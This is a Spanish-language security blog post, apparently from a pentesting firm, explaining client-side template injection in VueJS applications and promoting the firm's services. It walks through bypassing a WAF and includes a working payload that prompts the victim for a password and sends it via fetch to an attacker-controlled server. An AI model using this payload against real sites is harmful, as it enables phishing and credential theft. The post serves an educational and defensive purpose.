¿Qué es la inyección de plantillas del lado del cliente (CSTI)?
A nuestros hackers les encanta compartir conocimientos sobre las vulnerabilidades más comunes e interesantes. Lee más sobre qué es una vulnerabilidad CSTI.
Durante nuestro trabajo, nos encontramos con una enorme cantidad de vulnerabilidades. En Tozetta consideramos muy importante compartir también nuestro conocimiento y experiencia. En este blog te contamos más sobre una Client-Side Template Injection (CSTI). Con este blog de conocimiento esperamos ayudarte más en el mundo del hacking y la ciberseguridad. ¿Quieres mantenerte al día de forma continua sobre las últimas actualizaciones de seguridad? Suscríbete a nuestra Actualización de vulnerabilidades semanal.
¿Qué es la inyección de plantillas del lado del cliente (CSTI)?
La inyección de plantillas del lado del cliente (CSTI, por sus siglas en inglés) es una vulnerabilidad que se produce cuando una aplicación web renderiza la entrada del usuario en plantillas del lado del cliente sin tomar las medidas de seguridad necesarias. Esta vulnerabilidad se puede explotar para inyectar código malicioso en la página web de un usuario, lo que puede provocar diversas actividades dañinas, como el robo de cookies de sesión y la ejecución de acciones no deseadas en nombre del usuario.
¿Cómo funciona la CSTI?
Las aplicaciones web modernas suelen utilizar plantillas para mostrar contenido dinámico en las páginas web. Frameworks como AngularJS, VueJS, Mavo y otros motores de plantillas de JavaScript se utilizan para generar este contenido. Cuando la entrada se procesa directamente en estas plantillas sin la validación o el saneamiento adecuados, los usuarios malintencionados pueden explotar esta vulnerabilidad inyectando código específico que el navegador del usuario ejecutará.
Como usuario malintencionado, en este caso podrías probar primero payloads de XSS. Como vemos en el siguiente ejemplo, la página de error aparece en cuanto se guarda el perfil y un WAF ha establecido una regla que marca determinados caracteres.
En cuanto se introduce un payload de XSS como este, es posible que veas el siguiente error.
En este ejemplo, la aplicación web también utiliza VueJS. Así que podríamos probar CSTI. En cuanto introducimos {{}} como entrada, vemos que no obtenemos una página de error.
En cuanto probamos nuestro primer payload, obtenemos de inmediato una ventana emergente. Acabamos de utilizar un payload de prueba de concepto (POC) para provocar CSTI.

¿Cuál es el riesgo de la CSTI?
Una ventana emergente con alert(1) resulta divertida, pero ¿y ahora qué?
Es posible, por ejemplo, robar cookies pegando document.cookie en JavaScript y enviándolo a un servidor web que controlamos nosotros mismos. Para ello, httponly debería estar desactivado. En este caso estaba activado, así que no pudimos acceder a las cookies de sesión. En este caso, en cambio, podríamos crear una ventana emergente en la que se pida al usuario que introduzca su contraseña. Esto lo podríamos hacer con un payload como el siguiente:
{{constructor.constructor("fetch('https:///password', { method: 'POST', body: JSON.stringify({ password: prompt('Introduce tu contraseña para continuar:') }) })")()}}
En cuanto este payload se envía al servidor, vemos que la contraseña introducida llega a nuestro servidor controlado. Esta contraseña podría utilizarse más adelante con fines maliciosos por parte de ciberdelincuentes.
¿Quieres probar tú mismo una CSTI? Compruébalo aquí
¿Quieres mantenerte al día de las últimas vulnerabilidades?
Cada día se añaden más de 50 vulnerabilidades a la base de datos Common Vulnerabilities and Exposures (CVE). Es casi imposible mantenerse al día por tu cuenta de todas estas vulnerabilidades. Aun así, en Tozetta intentamos poner de manifiesto de forma estructural las vulnerabilidades en vuestro software y sistemas. Ofrecemos de forma gratuita nuestra Actualización de vulnerabilidades semanal, donde compartimos este tipo de artículos cada semana.
Pero si quieres saber más sobre cómo poner de manifiesto de forma estructural las vulnerabilidades en software y sistemas, lee más sobre nuestra solución Hacking as a Service. Además del pentesting regular, también ofrecemos una herramienta de monitorización de seguridad que escanea a diario vuestras aplicaciones web y/o red interna en busca de estos numerosos CVE.
O lee más sobre Hacking as a Service >>